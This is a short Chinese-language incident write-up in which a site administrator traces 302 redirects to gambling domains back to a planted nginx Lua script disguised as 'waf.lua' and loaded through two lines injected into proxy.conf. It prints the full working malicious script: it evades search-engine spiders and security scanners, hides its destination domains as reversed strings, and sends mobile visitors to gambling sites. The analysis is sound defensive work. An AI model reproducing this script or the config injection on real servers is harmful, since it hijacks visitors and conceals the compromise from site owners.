网站被302跳转至博彩网站

Status Code：302 Found
location：https://2yf.histats.cfd/news.html
sec-ch-ua-platform："Android"

由此可以看出，问题不在前端，而在后端

• 开始排查后端，后端是Java程序，运行的是打包之后的jar包，所以不可能是代码的问题
• 就只能是nginx服务器的问题或者DNS的问题，通过ping域名可以确定的是DNS没有问题
• 通过对比其他服务器的不同数据，发现“罪魁祸首”

正常服务器文件：

被挂马服务器文件：

路径：/www/server/nginx/html

waf.lua的具体内容：

local U = ngx.var.http_user_agent or ""
local K = ngx.var.http_cookie or ""
local S = os.date("%y%m%d")

local ua_lc = U:lower()

local cn_spiders = {
    "baiduspider",
    "360spider",
    "sogouspider",
    "shenmaspider",
    "petalbot",
    "bytedancespider",
    "toutiaospider",
    "quarkspider",
    "yisouspider",
    "zoomeye",
    "quake",
    "fofa",
    "hunter",
    "chaitin",
    "inetcloud",
    "dnslog",
}

local function is_cn_spider(ua)
    if ua == "" then
        return false
    end
    for _, pattern in ipairs(cn_spiders) do
        if ua:find(pattern, 1, true) then
            return true
        end
    end
    return false
end

if is_cn_spider(ua_lc) then
    return ngx.exit(ngx.HTTP_FORBIDDEN)
end


local is_android = ua_lc:find("android")
local is_iphone  = ua_lc:find("iphone")

if not (is_android or is_iphone) then
    return
end


if K:find("k=" .. S) then
    return
end


ngx.header["Set-Cookie"] = "k=" .. S .. ";Path=/;Max-Age=43200"


if is_iphone and math.random() >= 0.3 then
    return
end


local R1 = "lmth.swen/piv.ssoqj//:sptth"
local R2 = "lmth.swen/dfc.statsih//:sptth"

local function rev(s) return s and string.reverse(s) or "" end
local D1 = rev(R1)
local D2 = rev(R2)

local function strip_proto(full)
    return full:gsub("^https?://", "")
end

local H1 = strip_proto(D1)
local H2 = strip_proto(D2)

local alpha = "abcdefghijklmnopqrstuvwxyz0123456789"
local function rand_pref(len)
    local t = {}
    for i = 1, len do
        local idx = math.random(1, #alpha)
        t[i] = alpha:sub(idx, idx)
    end
    return table.concat(t)
end

local pool = {H1, H2}
local pick = pool[math.random(1, #pool)] or H1
local pref = rand_pref(math.random(3, 7))
local target = "https://" .. pref .. "." .. pick

return ngx.redirect(target, 302)

在 /www/server/nginx/conf/proxy.conf 中恶意添加了以下两行配置：

lua_shared_dict my_cache 10m;
access_by_lua_file /www/server/nginx/html/waf.lua;

1. 由于 nginx.conf 中 include proxy.conf;，这个木马被全局加载到所有站点
2. 木马逻辑：识别手机端用户 → 随机跳转到博彩网站（jqoss.vip / hisats.cfd）